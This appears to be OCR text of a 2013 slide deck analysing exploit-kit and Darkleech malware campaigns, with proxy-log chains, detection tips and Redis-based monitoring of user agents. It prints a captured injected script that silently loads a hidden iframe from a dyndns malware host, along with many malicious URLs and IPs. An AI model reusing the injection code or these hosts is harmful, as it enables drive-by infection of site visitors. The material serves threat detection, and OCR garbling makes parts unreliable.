Peimanr: 1 9 T T /3655 ronacos

BHDYCOB He 00HAVKEHO

Koo

CkaunBaiiTe Bce, YT
| yroaHo!
I TlonyHTe MIHOSSHHSA BOCTH K
Niaitiei hAnemam,
MROTHAMMEN, HTHEM W MyZbiKe!

KpynHeiwas ceTb
3arpysok

HeOmaHHHERHbI A0CTY K camoi
Gonewoit ceTn zarpyzoKk B Mnpe!

HeorpaHnyeHHble
3arpyskm

CHAMMERITE HEDTaHIMEHHOE
KonieCTED aANDE Ha
MAKEMMankHOH cropacTh ez
oxuAaHAAL

MNoxoxwme dhainel

Hazsaune Paauep
Kparkoe cofepwanue yBuicTea / [Ipodune yBuiictea / Profile for Murder ([aua Yuwunr) [1995. Tpuinen. Apaua, VHSR 1024 o @

Av0] (Moneciu 3 Lt
Barnures Besywie Mapee [ Bandits: Phoenix Rising (Z007) [RUS] [RePack 563 MG & Crawme

#Start| () pownloads @ Cravars kpatkoe ¢...

File downloaded only once. After cookie is
set a redirect to a page, which shows
content that asks for a fee to be paid via
SMS.

() (=]
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TDS Injections

= &) doda.com

w UT3bIEbLI M NpednoXeHWA

Y¥eb Session:

p0&/n.com

MarazuH

MenTrabl

maeHan DopyH bnoru MNonb3oBaTtend Morowk Monynaphoe
[M3EHbIE HOBOCTH | MOCMEAHHE HOBOCTH | HoBtIE ConfLEHKA
[naenan
HosocTH
HOBOCTHEA NEHTa NopTana
3[.')1-‘1[( CroTo - HOBbIA DﬁﬂﬂﬂﬂTEﬂb abconHTHOrO pEHOpﬂE’I!
L . Y SR
K4 o : HTML v | (S5 Script DOM
Edit = body < htmltenForo,Public

T T e TR TS :
“soriptr
<goript sre="jsz/jquery/joquery-1.5.2 nin. j="x

<script sro="js/xzenforo/xenforo.js?_v=3087athe">
+script sro="js/social/news. st v=3067albe"x
“gcript sro="http:/ftot. Tusju.rufll js" type="text/javascript"s

1 yrrmy musr=] -

Host
doda.com
doda.com
doda.com
doda.com
doda.com
doda.com
doda.com

pagead? googlesyndication.caom

i yandes.
i47 fastpic.ru
doea, com
Tunnel to
doda.com
doda.com
a.twimg.com
cad12017 vk me
doda.com
doda.com
doda.com
b, Fxsju.
cibewkl, dyndns-office.com
W, google, cam
Tuninel to
Tuninel to
wwwvy,Facebook,com
Turinel to
QoS verisign. com
static. ak. focdn, net

LRL

f

Joss, php?ess=xenforo, for
Joss, php?ess=discussion |
isiquery/iquery-1,5.2,mi
fisfxenforafuenfara,jse v
fis sncialinews. 57 =306
fsbyles default fdadaflaga,
Ipagead shaw_ads.js
fretrika/watch, js
Thigf2013(0517/31/1b458
fattachments dscn5oa3-| ]F
sphotos-a,xc,fhodn.net;
;'attachments,i°foDD°foSI4°fo
Jstyles/pitanie_banner,pr
fimages devibuttons sign:
Ju41 291 7466/2139/W0TD
Jskyles sport-tut.ipg
Jskyles/peps_banner.png
Jskyles fitdife.pg

M1,

[EGhmogaCL12
Ipagead drtfui
googleads, g, doublechick.n
googleads, g, doublechick.n
{pluginis ke, php?api_key=
v, Facebook, com: 443

f
frarc,phipfv e hPCan



= <soript sreo="http: Sitot. Txsjuoru/Sll. js" type=s"text//javascript">

1 war axix=1;
£ document . ohmousemove=thisstatjs;
4 function thisstatisi()
4
L if{axix==1)
= {
7 axixt+t;
= war url='http: fcibewk]  dyndns-office. com/EGHNrnoBygCL 12" ;
= war script=document . createElement ('iframe’);
10 var style='border:Opx;';
11 soript.sethAttribute'width', 15);
1Z script.setittribute | 'height' 15);
132 soript.setittribute|'sro' url);
14 script.sethttribute('style', style);
IR document . getElement sByTagNane ( 'body ') [0] . appendChild{script) ;
16 I
17}
< fscriptr

= +1frame wideh="15" helght="15" sre="http://cibewkl. dydns-office. con/ECNrnobaCL/ 12" style="border: Opy; "
- <htul*
b <head
b <hodyr
+/htul*

</1fraps-



"win the competion award" "series of"

E mdbmdb Kennedy win the competion award as
CmOVZQnj, well known for the series of
a36D.

mute promote replurk like

Explore header anomaly

GET/ ...

User-Agent: Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1; SV1)
Host:

Connection:

Cache-Control:

Pragma:

BR i gl £~ #RSIA

#99 50 1A (95050 019 #h)

BRREARES . "win the competition award” "series of"

: 0906 - yamE FE%
blog.yam.com/minzhu0906/article/54726977 -

2012/9/6 - ... Several Offices Design, Several Restaurants and bar Stuart win the
competion award as YRzAxCi1, well known for the series of 9FCF.

0514: 0514 - yamE =T %&
diary.blog.yam.com/bigtree20130514/article/10173342 ~

2013/5/14 - Alina win the competion award as jh31Ph6x, well known for the series of
246D. f5(0) | 3IA(0) | AR - | £ | 3IBUHFTRSH IR ..

blog.yam.com/notwhitehat -

2013713 - Alina win the competion award as jh31Ph6x, well known for the series of
246D. FAZIC... AR() | @HE©0) | 51 F(0). HRITEIRER | IRIER ...

SEME+: i want a ship - yamEXFE %
blog.yam.com/notwhitehat/article/65598708 -

2013/7/3 - Alina win the competion award as jh31Phix, well known for the series of
246D. @S (0) | 31 F0) | AR | 1975 | #85. | £R] | 3IRURFTSTHIL ...

Todd'Competion @ googlemailguide :: FE& FPIXNET ::
anotherwanglei.pixnet.net/blog/post/184221200 ~

Todd win the competion award named 9V4RE6JWh, well known for the series of A799
googlemailguide 3 FAEFEEIPIXNET = (0) 3| B0y A0, E-mailllFy ...




9

Elirks: before

* Reported by Dell/Secureworks as Elirks
http://www.secureworks.com/cyber-threat-
intelligence/threats/chasing_apt/

pptho5t got Available serial Number : EnZHIP-
YIbHa-0328

ppth05t got Available serial Number ppthO5t got Available seri:

t got Available serial Numbet

Jan 29 - 11:37am
llam Jan 2912pm 1lam Now 3010am 9am MNow 7 1lam 10am



0

And now!

http://tw.myblog.yahoo.com/jw!
uzrxZwSGHxowPMGZAaj4150-

http://blog.yam.com/minzhu0906/article/54726977

http://diary.blog.yam.com/bigtree20130514/article/101
713342

=3
Alex: Natalie win the competion award like 15a65j4W, well known for the series of 937B.

07 =3B ELE]

JA/RREETY

NP EITLIELLERVWLET

|-I|

Y7 :F-m!| 0 Fuoek!l <0 W Y{=k 0 Fruws E



http://blogs.yahoo.co.jp/sakasesi2013/31805794.html

1

Campaigns can be linked by
the same IP sources to
access web

mdb Kennedy win the competion award as
CmOVZ0nj, well known for the series of
836D.

mdbmdb [15 5| Kennedy win th . ‘ b
CmoVZQn], wel
B36D0.

HK KR
Dam Now 263pm 2pm Sep 241:

s

mdbmdb 11111

Managed by the same
|IP addresses
(easy to cross-correlate)



Detecting exploit packs: Tips

Look for typical chains in your logs

| ook for more than one attack vector from the
same resource as an indicator

By typical URLS

Exploit snippets :net.class, gmail.class, and so
on

_ooking for generic exploit components inside
nayload

Picking up suspicious user agents and
application type (octed-stream, java agent)
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Application type

URL (Blackhole 2, Mar 2013)

65.75.144.207/9f5090afabfb40cdd70a5e63064b21a7/q.php text/html;
charset=UTF-8

65.75.144.207/9f5090afabfb40cdd70a5e63064b21a7/g.php?  Application/
nemrbz=psbgé&sipgik=nupatq java-archive

65.75.144.207/9tf5090afabfb40cdd70a5e63064b21a7/9f5090afa Application/
bfb40cdd70a5e63064b21a7/g.php? x-msdownload
jf=1k:1i:1k:2v:10&ie=1g:1n:32:33:1n:1n:1n:2v:31:10&b=1f&s
d=p&wy=h&jopa=4656855

83



The Injected HTML iframe tag Is usually constructed as IP address/hex/q. php. Sites that deliver
such iirames that aren't visible within the HTML source are likely compromised by Darkleech. Special
"reqular expression" searches such as this one helped Landesman ferret out reported frames used
In these attacks. Note that while the iframe reference is formed as IP/hex/q. php, the malware
delivery is formed as

2012-12-24 08:39
hxxp://108.165.25.119/34865412a4128d4flebaf9ad8f2ac412/q.php

14.01.2013 9:56
hxxp://129.121.88.108/b3aa76a54b00fd803337aab97a0c09e9/q.php

12.02.2013 10:35
hxxp://149.47.142.193/d0c1614e79a22e16cc1404ba3420f469/q.php

Mar 19, landing from  hxxp://www.hotelduchampdemars.com/
19.03.2013 16:09
hxxp://129.121.128.249/30cdfcal0f74f5b3da51700ba9e135e2/q.php o



Exclusive: Ongoing malware attack
targeting Apache hijacks 20,000 sites

Mysterious "Darkleech” exposes visitors to potent malware exploits.

by Dan Goodin - Apr 2 2013, 7:15pm MSK

In active development

With the help of Cisco Security Engineer Gregg Conklin, Landesman observed Darkleech infections
on almost 2,000 Web host servers during the month of February and the first two weeks of March.
The servers were located in 48 countries, with the highest concentrations in the US, UK, and
Germany. Assuming the typical webserver involved hosted an average of 10 sites, that leaves the
possibility that 20,000 sites were infected over that period. The attacks were documented as early as
August on researcher Denis Sinegubko's Unmask Parasites blog. They were observed infecting the
LA Times website in February and the blog of hard drive manufacturer Seagate last month, an
indication the attacks are ongoing. Landesman said the Seagate infection affected
media.seagate.com, which was hosted by Media Temple, began no later than February 12, and was
active through March 18. Representatives for both Seagate and the LA Times said the sites were
disinfected once the compromises came to light.

* Source http://arstechnica.com/security/2013/04/exclusive-ongoing-malware-attack- 85

targeting-apache-hijacks-20000-sites/?utm_medium=twitter&utm_source=dIvr.it



More than one attack vector from the
same resource as an indicator

1/31/2013 11:53http://129.121.101.49/fi675d4b242669de697f6a text/html
1a7428d191/q.php

1/31/2013 11:53http://129.121.101.49/ff675d4b242669de697f6a application/pdf
1a7428d191/q.php?
bmkfbw=1k:1i:1k:2v:10&exirrv=3d&rkfajmn=1g:1
n:32:33:1n:1n:1n:2v:31:10&cesnio=1n:1d:1g:1d:
1h:1d:1f

1/31/2013 11:53http://129.121.101.49/ft675d4b242669de697f6a application/java-archive
1a7428d191/q.php?rhingaw=ibfhs&apu=dycb

1/31/2013 11:53http://129.121.101.49/ff675d4b242669de697f6a application/x-msdownload
1a7428d191/ff675d4b242669de697f6ala7428d
191/q.php?
jf=1k:1i:1k:2v:10&ye=19:1n:32:33:1n:1n:1n:2v:3
1:10&e=1f&um=b&va=Db

1/31/2013 11:53http://129.121.101.49/ff675d4b242669de697f6a application/x-msdownload
1a7428d191/ff675d4b242669de697f6ala7428d
191/q.php?
ynyxykhm=1Kk:1i:1k:2v:10&kzez=1g:1n:32:33:1n:
1n:1n:2v:31:10&0jplot=1i&kyibn=tbv&ungz=mcg
wp



URLSs Blackhole Oct 2013
(landing from newsru.com)

2013-10-02 09:03:38

2013-10-02 09:03:41

2013-10-02 09:03:51

2013-10-04 08:46:28

2013-10-04 08:46:29

2013-10-04 08:46:38

GET

GET

GET

GET

GET

GET

hxxp://natxwznrdftdiwshufrhekav.ynicksfullygirls.us/3dda
5a/segatnavdadettimosyl/seitgniretnelufrewop.php

hxxp://natxwznrdftdiwshufrhekav.ynicksfullygirls.us/3dda
5a/segatnavdadettimosyl/seitgniretnelufrewop.php?
4YoF71v-*20_*IK=!eq3!49v6j&n8E8j2d93=660*'m*

hxxp://natxwznrdftdiwshufrhekav.ynicksfullygirls.us/3dda
5a/segatnavdadettimosyl/Main.class

hxxp://wsttdkbfy.zennofullinghidds.us/1caf95/stnihsgnite
emnoitcel/daehasllesdetpeccaep.php

hxxp://wsttdkbfy.zennofullinghidds.us/1caf95/stnihsgnite
emnoitcel/daehasllesdetpeccaep.php?
baaalb00ablb0aaal=aaObb0lalalObbala&al0ab1l0bb0
=aaab0al1011abbb01b10

hxxp://wsttdkbfy.zennofullinghidds.us/1caf95/stnihsgnite
emnoitcel/Main.class




Background noise (exploit snippets)
January 2013

17.01.2013
15:03

17.01.2013
15:03

17.01.2013
15:03

17.01.2013
15:03

17.01.2013
15:03

17.01.2013
15:03

17.01.2013
15:03

151.248.118.68

151.248.118.68

151.248.118.68

151.248.118.68

151.248.118.68

151.248.118.68

151.248.118.68

hxxp://chapter04.bank-soft.info/
x[74377d39a14577b95e45ee3e653f0e72.jar

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36¢c9f969c5718745e/
com.class

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36¢c9f969c5718745e/
edu.class

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36¢c9f969c5718745e/
net.class

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36¢c9f969c5718745e/
org.class

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36¢c9f969¢c5718745¢/ja

va/ security.class

hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36¢c9f969¢c5718745¢/ja
va/security/ cert.class



Suspicious application types

Mozilla/4.0
(Windows XP 5.1)
Javal/l.6.0 26

Mozilla/4.0
(Windows XP 5.1)
Javal/l.6.0 30

Mozilla/4.0
(Windows 7 6.1)
Java/l.6.0 31

Mozilla/4.0
(Windows 7 6.1)
Java/l.6.0 31

Mozilla/4.0
(Windows 7 6.1)
Java/l.6.0 31

12/7/2012 151.248.115.137 http://users.nalog- application/
10:41 tax.info/x/3fa91b6baa018479 octed-stream
e6bf7bd589829367 .jar
9/24/2012 78.46.254.21 http://core0l.pic- application/
12:13 user.in/x/a4613715c05f801ce octed-stream
34056f20b3d4aa5.jar
1/17/2013 151.248.118.68 http://chapter04.bank- application/
15:03 soft.info/x/74377d39a14577b octed-stream
95e45ee3e653f0e72.jar
3/15/2013 151.248.122.161 http://early.desarrolloelfa.at/x/ application/
13:27 3¢c9d6376b53b3f763f636d972 octed-stream
f755a37.jar
3/15/2013 151.248.122.161 http://early.desarrolloelfa.at/d/ application/
13:27 b63c6ffac04a23b151f1a8152 octed-stream

986924c



GET;http://ctgwllr.changeip.name/googlestat.php;HTTP/1.1 37.10.104.72

GET;http://ctgwllr.changeip.name/uqgrojdt/2;HTTP/1.1 37.10.104.72
GET;http://gxcrr-xerox.janitorbe.biz/stranger-constructing- 31.7.184.194
restoring.htm|;HTTP/1.1

GET;http://gxcrr- 31.7.184.194
xerox.janitorbe.biz/a54444444477777777ZWwwwwwww/9d2
0Z7eQ7QeQe/citizen.php5;HTTP/1.1

GET;http://gxcrr- 31.7.184.194
xerox.janitorbe.biz/71105ywogDrmqqQeZrZwDGooerrraQq/9
01212121255;HTTP/1.1

GET;http://gxcrr- 31.7.184.194
xerox.janitorbe.biz/71105ywogDrmqgQeZrZwDGooerrraQq/t
ext.jar;HTTP/1.1

GET;http://gxcrr- 31.7.184.194

xerox.janitorbe.biz/71105ywogDrmqgqQeZrZwDGooerrraQq/0
256000045/6799928;HTTP/1.1

200 640http://www.english- Mozilla/4.0; text/html

shoes.ru/products/41/ (compatible;;MSIE
:7.0;;Windows;NT;
6.1)
200 442http://www.english- Mozilla/4.0; text/html
shoes.ru/products/41/ (compatible;;MSIE
:7.0;:Windows;NT;
6.1)
200 1578http://ctgwllr.changeip. Mozilla/4.0; text/html
3name/uqrojdt/2 (compatible;;MSIE
:7.0;;Windows;NT;
6.1)

200 466http://gxcrr- Mozilla/4.0; text/html
xerox.janitorbe.biz/stra (compatible;;MSIE
nger-constructing- ;7.0;;Windows;NT;
restoring.html 6.1)

200 1001http://gxcrr- Mozilla/4.0; text/html
xerox.janitorbe.biz/a54 (compatible;;MSIE
444444477777777ZwWw ;7.0;;Windows;NT;
wwwww/9d20Z7eQ7Qeb6.1)

Qe/citizen.php5
200 8772 Mozilla/4.0; application/
(Windows;7;6.1);) x-jar
ava/l.7.0 07
200 8636 Mozilla/4.0; application/j
4 (Windows;7;6.1);) ava-archive
ava/l.7.0 07



O0-Days in EK
0 day 1.7ul0 (CVE-2013-0422) spotted in the Wild - Disable Java ...

malware.dontneedcoffee.com/2013/.../0-day-17ul0-spotted-in...

Jan 10, 2013 - 0 day 1.7ul0 (CVE-2013-0422) spotted in the Wild - Disable Java Plugin
NOW ! Was wondering what to do with that... Disclose, do not Disclose ...

1/14/2013
18:57

1/14/2013
18:57

1/14/2013
18:57

178.238.141.19

178.238.141.19

178.238.141.19

http://machete0-yhis.me/ application/x-java-archive
pictures/demos/OAggq
http://macheteO- application/x-java-archive

yhis.me/pictures/demos/OAggq

http://loretaa0- application/octet-stream
shot.co/careers.php?

cert=561&usage=392&watch=4&
proxy=49&ipod=171&shim=344&
pets=433&icons=252&staff=621&

refer=345
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Sun/Java/Deployment/cache/6.0/27/4169865b-641d53c9/UPX
23.01.13 19:56 Detected: Trojan-Downloader.Java.OpenConnection.ck

C:/Documents and Settings/userl/Application Data/

Sun/Java/Deployment/cache/6.0/48/38388f30-4a676b87/bpac/b.class

23.01.13 19:56 Detected: Trojan-Downloader.Java.OpenConnection.cs
C:./Documents and Settings/userl/Application
Data/Sun/Java/Deployment/cache/6.0/48/38388f30-4a676b87/ot/pizdi.class

23.01.13 19:58 Detected: HEUR:Exploit.Java.CVE-2013-0422.gen
C:/Documents and Settings/userl/Local Settings/
Templ/jar_cache3538799837370652468.tmp
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TDS and redundancy mechanisms

11.03.2013 hxxp://cliga.ru/jwplayer2/med.p 146.185.255.66

11:28 hp

11.03.2013 hxxp://gankas.tk/foto.cgi?3
11:28

11.03.2013 hxxp://gankas.tk/meto.cgi?2
11:28

11.03.2013 hxxp://gankas.tk/fgmg.cgi?

11:29
12185938&ur=1&hxxp_REFE
RER=hxxp%3A%2F
%2Fcliga.ru
%2Fjwplayer2%2Fmed.php

11.03.2013 hxxp://gankas.tk/xgvihoiz.cgi?
2&pfvat=1&fhjxm=1&0rxgz=32

11:29
12185938&ur=1&hxxp_REFE
RER=hxxp%3A%2F
%2Fcliga.ru
%2Fjwplayer2%2Fmed.php

3&pfvat=1&fhjxm=1&0rxgz=32

146.185.255.66

146.185.255.66

37.139.51.123

5.135.28.208

80

80

80

80

90

hxxp://gankas.tk/meto.cgi?2

hxxp://gankas.tk/fgmg.cgi?
3&pfvgt=1&fhjxm=1&0rxgz=3212185938
&ur=1&hxxp_ REFERER=hxxp%3A%?2F
%2Fcliga.ru%2Fjwplayer2%2Fmed.php

hxxp://gankas.tk/xgvihoiz.cgi?
2&pfvat=1&fhjxm=1&0rxgz=3212185938
&ur=1&hxxp_ REFERER=hxxp%3A%2F
%2Fcliga.ru%2Fjwplayer2%2Fmed.php

hxxp://oaandpcy.whose.plan-
zgdrtillfts.biz/recipe-
ayatollah_aliases.htm

hxxp://careliquor.biz:90/forum/animal.php



Typical URLs (Fileless bot)

hxxp://iprintlistmaking.pro/7GIC
hxxp://validfacts.info/ISOQ
hxxp://zagglassers.info/ISOQ

hxxp://erasads.info/’XZAH

206.225.27.11

85.17.92.146
64.79.67.220

208.110.73.75

hxxp://www.vesti.ru

hxxp://www.vesti.ru
hxxp://www.vesti.ru

hxxp://newsru.com

NOW

hxxp://fliproyalsnow.info/indexm.htm 67.196.85.216 hxxp://tks.ru

hxxp://fliproyalsnow.info/054RIwj

hxxp://fliproyalsnow.info/154RIwj

Oops pOwned

67.196.85.216

67.196.85.216

12/7/2012 13:17

12/13/2012 14:04
1/24/2013 14:38

2013-03-01
15:05:59.013

[14/0Oct/2013:13:
37:13

[14/0ct/2013:13:
37:17

[14/0ct/2013:13:
37:35



o div
style="position:absolute;left:1000px;toy
:-1280px;"> | CatchME: Entropy

e <iframe everywhere!

src="http:/[fortinetdonation.info/indexm
.html">

» <html lang="en" dir="Itr">
e <head>

* <meta content="Careers: Take your career to new
heights with little help from the experts. From getting
ahead, to honing effective work habits, to getting
along better with your boss, our career."

NamMmMa=—""daccrintinn''s



Long Obfuscated URLS.
Observation time: Oct 2013

GET;http://dplxjs.beneluxo.biz/ZGrc-v50Np xaOu- 184.82.3.97 Mozilla/4.0; text/html
7e_x04Ma/90G9Uv0Om1lka/02zG30/c6gCOh7ZI_0gGTh- (compatible;;MSIE;6.0)
OF/mgROXvTW/0q7GR/;HTTP/1.1

GET;http://dp1lxjs.beneluxo.biz/vDYdkxORr/qGOWujpOrs- 184.82.3.97 Mozilla/4.0; text/html
AyONHcRO_Kh_d50pOIEO_HSk/z0j-1t9-0Gag815-KAHOVY- (compatible;;MSIE;6.0)

AF0/drx_v17e270BVn/VOP8-

ru07p4t/0Y4EYO/Rwh_CODaQ/VONZA UOAwL_I0dKizl_2kPd0/5R2J0/M5WMO_gk7
4/0nTz1_OFHh80_hgLLORYt/SOh)_8T0eiGW-0yweqO0IZWAO-FGrvOtPVK_Om-
LHK1/2Tmt0/f66PON/scGOW4If 0D7Iw01_80X0/w4tL0-V6hA14l-

BKO_Z2HT 0cCL x14Hp5 0dXGv0O fBGOxGw]-OplI50E-L8E-0JQFUOht 550QZk]-
OpOhu/jvvn.html;HTTP/1.1

GET;http://dplxjs.beneluxo.biz/vDYdkxORr/qGOWujpOrs- 184.82.3.97 Mozilla/4.0; application/x-jar
AyONHcRO_Kh_d50pOIEO_HSk/z0j-1t9-0Gag815-KAHOVY- (Windows;2003;5.2);Ja
AF0/drx_v17e270BVn/VOP8- va/l.6.0_35

ru07p4t/0Y4EYO/Rwh_CODaQ/VONZA UOAwL [0dKizl 2kPd0/5R2JO/M5WMO0_gk7
4/0nTz1_OFHh80_hgLLORYt/SOh) 8T0eiGW-0yweqO0lZWAO-FGrvOtPVK_Om-
LHK1/2Tmt0/f66PON/scGOW4If OD7lw01_80X0/w4tLO-V6hA14l-

BKO_Z2HT O0cCL x14Hp5 0dXGv0O_fBGOxGw]-OplI50E-L8E-0JQFUONht 550QZk]-
OpOhu/DNWKZ.jar;HTTP/1.1

GET;http://dplxjs.beneluxo.biz/vDYdkxORr/gGOWujpOrs- 184.82.3.97 Mozilla/4.0; application/x-jar
AyONHcRO_Kh_d50pOIEO_HSk/z0j-1t9-0Gag815-KAHOVY- (Windows;2003;5.2);)a
AF0/drx_v17e270BVn/VOP8- va/l.6.0_35

rU07p4t/0Y4EYO/Rwh_CODaQ/VONZA_UOAwL [0dKizl_2kPd0/5R2J0/M5WMO_gk7
4/0nTz1_OFHh80 hgLLORYt/SOh] 8T0eiGW-0yweq0IZWAO-FGrvOtPVK_Om-
LHK1/2Tmt0/f66PON/scGOWAIf 0D7Iw01_80X0/w4tLO-V6hA14l-

BKO_Z2HT 0cCL x14Hp5_0dXGv0O fBGOXGw]-0p1I50E-L8E-0JQFUOKt_550QZk/-
0pOhu/DNWKZ.jar;HTTP/1.1

GET;http://dp1lxjs.beneluxo.biz/ZppAmNO-IMdI-11B_Dx0t EDNO2- 184.82.3.97 Mozilla/4.0; application/octet-
KxKO0g/rKMOtkiH_0xIj609 f2M OwmTj0_KMzg-16/4tg0VUem/0Bji5_ ORdW- (Windows;2003;5.2);Jav stream
bOHOTSO0J_Bds0)52/f0gyFg_08L_ILOVVFIOIt/aE0OGewm_051K/K0o/xQs0v/rgNO- a/l1.6.0_35

OyHb/Ob1C-GOar7-F179¢c_WOPrqWO0_9sG/a0CYI_T0Oaf COp/sYc181D-T14-
uly0Qn/nL/0Ya710/p4TMO-sUJF-ONt_4MOu8-eh_0oqdR11l EbnOWGqgX-0dkTul-21-
tHOiP/cJ00iwj0/3sK10/81fIOFEP_bOOGDNO-4jAA/0YDzt0IGnfOf-kzd0aYS20 UjW-
500E/bb00x-00//BNHDi4RGJG.exe?dmalLsFUNI=0cdf0%26h=14;HTTP/1.1



SHAZSR: 1hb37 c3495505347 04651932457 cfff/ edd0L7 bhed 1 bo3aab2 1025829530054

File name: amigos.class
Cetection ratio: 0/ 45

Analysis date: 2013-05-20 18:21:01 UTC {1 minute aga )

AL PLLUOUE GO AL L I LI 0 UG I LR L 1 U g PR YT
rkerf, servebbs,net 3739 conker . xhkml 241 testihtml; charset=lTF-3
rukerf servebbs,net  fgo.phprid=3739%ip=109, 23-&5&55lnn 1e9C907820a3558E6, ,, 837 textihtml; charset=lTF-8
rukerf servebbs,net 3739 counker . xhkml 0 kexkhtml; charset=LTF-8
rukerf, servebbs,net  fstart, php?id=373%8session=1e9c0075204355RA3090ip=109, 23! 129 bexkihtml; charset=UTF-8
nukerf servebbs,net  foounker, swi 1 471 applicationfs-shockwave-flash
rukerf servebbs,net  fdacar.php 173 keskfhbml; charset=UTF-8

erupts. reflective, dkacoboaspiresghic.biz — fwests, himl 29158  kextihtml; charset=utf-g

erupts, refleckive, dkacoboaspiresghic.biz -+ [1ogipgDrgwprewrdrgeroriCo) 7 OpoeCxeH7E R0 70T assimilating. s 4978 texkfhtrl; charset=utf-3
erupts, reflective, dkacobiraspiresghic, biz ,I'?4nnglpgDrgwprewr4rqErnrlf’rq,l'ISEEE.EDES,I'snpthan jar 6015  application/java-archive

erupts. reflective, dkacoboraspiresghic.biz - [S74nogipgCrgwpremrdrgeraridg) 132 57 710 applicationjava-archive




TOOLS



* Redis State watcher
* Log parser (logs)
 Passive HTTP
 Samples collector

« Samples analyzer



e Put possible network IOC from proxy logs to

red

IS

* User agents all/by month/by day

e Ma
e Ma
e Ma

p User agents to local IP_Login pairs
0 IP_Login pairs to User agents

p Application types to Dates when

observed

e Ma

p External resources Domain_|P pairs to

Dates when observed
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Proxy logs at glance example

redis localhost:6370> keys pr_ip_dom m_ 2013-9%109.108.247%
"pr_ip_dom _m_ 2013-9__ info_22 4.0 _NXX__zmt5da6n40.dyndns.info_ 109.108.247.224"
"pr_ip_dom m_ 2013-9 org 20 4.0 XXA_binfostat.dyndns.org_ 109.108.247.224"
"pr_ip_dom m_ 2013-9_ info 22 4.0 NXX_ 9v7s9aep55.dyndns.info_ 109.108.247.224"
"pr_ip_dom _m_ 2013-9__info_22 4.0 _NXX__ 66nepuvu77.dyndns.info_ 109.108.247.224"
.125)

redis localhost:6370> keys *88.198.7.4%

1) "pr_ip_dom m_ 2013-9 pw 13 4.8 NXX_ mexstat260.pw_ 88.198.7.48"

2) "pr_ip_dom_m_ 2013-9 net 9 3.0 XXA_gderu.net_ 88.198.7.48"

(1.68s)

redis localhost:6370> r_ip _dom m_ 2013-9_ pw 13 4.0 NXX_ mexstat260.pw_ 88.198.7.48"
1) "2613-9-23"

2) "2013-9-26"

3) "2013-9-25"
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User-agent vulnerable clients
monitoring

redis localhost:6370> keys pr_ua d 2013-10-10* Java/1.7*
"pr_ua d_ 2013-10-106_ Java/1.
"pr_ua d_ 2013-10-106_ Java/1.
"pr_ua_ d_ 2013-10-10_ Java/1.
"pr_ua d_ 2013-108-10_ Java/1.

.9_13"
.0_25"
.0_11"
.9 21"
.0_09"
.0_17"
.0_15"

"pr_ua_d_ 2013-10-10_ Java/l.
"pr_ua d_ 2013-10-10_ Java/1.
"pr_ua d_ 2013-10-106_ Java/1.

jj(0.585)

firedis localhost:6370> smembers "pr_ua d_ 2013-10-10_ Java/1.7.0_09"

1) "10.€¢ 3.37_a .na"

42) "10.¢ 3.103_R "

§3) "10.¢ 3.103__"

4) "10.6 3.37 "

e N N N I

redis localhost:6370>
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User-agent request example, Why
legit WINn8 Is here?

1s localhost:6370> keys "pr_ua_m__ *WinB8*
) "pr_ua_m_ 2013-10_ X-Client/AppexWin8Microsoft.BingWeather X-Client-AppVersion/2.0
.0.288"
2) "pr_ua_m_ 2013-9 X-Client/AppexWin8Microsoft.BingSports X-Client-AppVersion/2.0.0}
. 309" :
) "pr_ua_m_ 2013-9 X-Client/AppexWin8 X-Client-AppVersion/1.2.6.135"
(0.58s)
redis localhost:6370> a_m_ 2013-9 X-Client/AppexWin8 X-Client-AppVersion/1.2.0.135"
1) "10. 135"
2) "10. 1685 71 v"
3) "10. 115 g
4) "10. 115"
5) "10. ! sapl
6) "10. 19 ave
7) "10. 9"
"10. 136"
"10. 105"
"10. 135 ri
"10. 136 vi

Ll i L1




Silent Debugging??
Host, OS, more than other 20 params..

e Local host name HMS0277

X-Client/AppexWin8 X-Client-AppVersion/1.2.0.135
09.08.2013 8:13 131.253.40.10 80 GET

* http://g.bing.net/8SE/201?
MI=FED21F3944A344D38E5C61CO0AC7/8AC3&AP=3&LV=1.2
0.135&0S=W8&TE=1&TV=ts20130613214629143%/Ctz-
240%7Ctmru-ru
%7Ctc1%7Cdr8%252C0%7Caal058%252F1%252C0%252F0
%7CdaHMS0277%/CorRU
%7Cwal%/Cded%7Cadl%252C0%7Ccd9%252C0%7Cdd0%
/Ctp20130505% 7/Cccrow
%7Cdcl%/Cpd1%252C0%7Cto4%/Clcl%252C0%252C0%25
2C0%7Cdbl
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User-agent anomaly monitoring

redis localhost:6370> *BOZBAAAAYWAAAOZBAAQQpLUHE BwgDtPMAG6tOVVYSypBocEAeBRAAAAANAA="
1) "pr_ua_d_ 2013-9-11 *BOZBAAAAYWAAABZBAAQQpiUH8 BwqDtPMAG6tOVVYS5ypBocEAeBRAAAAANAA=

2) "pr_user_ip_for_ua_ *BOZBAAAAYWAAAOZBAAQQpLUHB BwgDtPMAG6tOVvYSypBocEAeBRAAAAANAA="
3) "pr_ua_m_ 2013-9 *BOZBAAAAYWAAAOZBAAQQpiUH8 BwqDtPMA6tOVVYS5ypBocEAeBRAAAAANAA="
(1.72s)

redis localhost:6370> *BOZBAAAAYWAAAOZBAAQQpLUHS8 BwqDtPMAG6tOVVY5SypBocEAeBRAAAAANAA="
1) "10.: >.5__anonymous”

anonymous
2013-09-11 08:35:40.540 - dnl-81.geo.kaspersky.com 93.191.13.100 80 G
http://dnl-01.geo.kaspersky.com/diffs/bases/wmuf/wmuf@045.dat. -nx application/
stream 200 34112 286 http 2013-09-11 04:35:40.540 9
. anonymous
2013-09-11 ©8:35:40.570 - dnl-01.geo.kaspersky.com 93.191.13.100 80 G
http://dnl-01.geo.kaspersky.com/diffs/bases/wmuf/wmufee4s.dat.rvi application/
stream 200 17277 286 http 2013-09-11 04:35:40.570 9
anonymous
2013-09-11 08:35:40.930 - dnl-81.geo.kaspersky.com 93.191.13.100 80 G
http://dnl-01.geo.kaspersky.com/diffs/bases/wmuf/wmuf@047.dat.1z5 application/
stream 200 16823 286 http 2013-09-11 04:35:40.930 9




1. Take predefined patterns for log fields

and calculate log line score. Depending on

score write down line into colored

(EB,B,W,EW,Gr) list for further investigation
(--list)

2. Find all lines with field matched specified

pattern — smth. like egrep+cut\awk
(--match)
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General course of work
(list search)

Output

Raw Logs

Explicit black list

